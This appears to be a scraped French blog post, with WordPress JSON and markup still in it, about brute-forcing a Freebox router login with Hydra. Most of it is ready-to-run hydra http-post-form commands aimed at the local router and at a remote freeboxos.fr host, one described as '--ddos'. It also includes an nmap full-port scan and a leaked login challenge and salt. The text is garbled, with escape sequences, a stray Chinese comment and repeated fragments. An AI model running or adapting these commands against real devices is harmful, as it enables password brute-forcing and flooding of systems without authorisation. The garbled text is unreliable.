![\"Hydra](\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" "\\"Hydra")
\u00a0je suis de retour ^^<\/p>\nSalut tout le monde !\u00a0 oui c'est moi apr\u00e9s une longue absence des platform linux\u00a0\u00a0\u00a0je suis de retour ^^<\/p>\n
En ce moment je me suis orient\u00e9 vers hydra pour essay\u00e9 de trouver le mot de passe d'acces au routeur ( et non pas au r\u00e9seaux, j'y suis d\u00e9ja )
\ntout d'abord il y a l'adresse du routeur sur le r\u00e9seau : 192.168.1.254<\/p>\n
le code source de la page du login qui nous int\u00e9raisse c'est\u00a0 :<\/p>\n
<form id=\"login-form\" method=\"POST\" action=\"\/\">
\n<input type=\"text\" style=\"display: none;\" value=\"freebox\" name=\"login\"><\/input>
\n<input id=\"fbx-password\" class=\"password\" type=\"password\" name=\"password\" value=\"\"><\/input>
\n<\/div>
\n<\/form><\/p>\n
r\u00e9sultat des courses : on a pas besoins de login donc : -l \"\"
\nla m\u00e9thode = post : http_post_form<\/p>\n
au final j'ai le code suivant : dabord il faut nmap -p- 91.168.99.0\/32 -Pn<\/p>\n hydra -l \"\" -P \/usr\/share\/wordlists\/nmap.lst -t 12 -v -V xxxx.freeboxos.fr -s 44261 http-post-form \/:password=^PASS^:login.php:\"Identifiants incorrects\"<\/strong><\/p>\n hydra -l \"\" -P \/usr\/share\/wordlists\/nmap.lst -t 12 -v -V xxxx.freeboxos.fr -s 44261 http-post-form \"\/:password=^PASS^:login.php:Identifiants incorrects\"\u00a0 \u00a0 (test good no result)<\/strong><\/p>\n hydra -l \"\" -P \/usr\/share\/wordlists\/nmap.lst -t 12 -v -V xxxx.freeboxos.fr -s 44261 -O http-post-form \"\/:login.php:password=^PASS^:Identifiants incorrects\"\u00a0 \u00a0 \u00a0 \uff08-s\u8868\u793a\u7aef\u53e3 \uff1b-O\u8868\u793a\u52a0\u5bc6\uff09--ddos<\/strong><\/p>\n apres\u00a0 comme ddos hydra -l \"\" -P \/usr\/share\/wordlists\/nmap.lst -t 12 -v -V xxxx.freeboxos.fr -s 44261 http-post-form \/:password=^PASS^:login.php\u00a0 \u00a0 (5m\/s send aux freebox)<\/strong><\/p>\n Le probl\u00e9me c'est que d\u00e9s que je lance hydra, le premier pass qui est dans la liste de mot de passe me retourne \" 1 of 1 target successfully completed, 1 valid password found \" alors que c'est pas le bon\u00a0\u00a0 qu'en pensez vous ? j'ai une petite id\u00e9e que le modem retourne toujours le code 200 et non pas le 403 pour erreur ce qui fait que hydra pense avoir trouv\u00e9 le bon mot de passe.<\/p>\n Merci.<\/p>\n http:\/\/91.xxx.99.xxx:33839\/api\/v8\/login<\/p>\n Salut tout le monde !\u00a0 oui c’est moi apr\u00e9s une longue a […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[626,628,627,247,629],"class_list":["post-1067","post","type-post","status-publish","format-standard","hentry","category-net-security","tag-attack","tag-brute","tag-freebox","tag-hydra","tag-password"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1067","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1067"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1067\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1067"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1067"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1067"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\nhydra -l \"\" -P \/usr\/share\/wordlists\/nmap2.lst -t 1 -f -v -V 192.168.1.254 http-post-form \/:password=^PASS^:index.php
\ndonc\u00a0 \u00a0nouvelle version online et correct<\/strong><\/p>\n<\/p>\n{\"success\":true,\"result\":{\"logged_in\":false,\"challenge\":\"lWuTRdbsj2kmy3d45WAiXYRlWM6tsmIh\",\"password_salt\":\"Gyovy+WiZH3jm7miT\\\/N1tuxoWzKlSTA2\",\"password_set\":true}}<\/pre>\n<\/p>\n","protected":false},"excerpt":{"rendered":"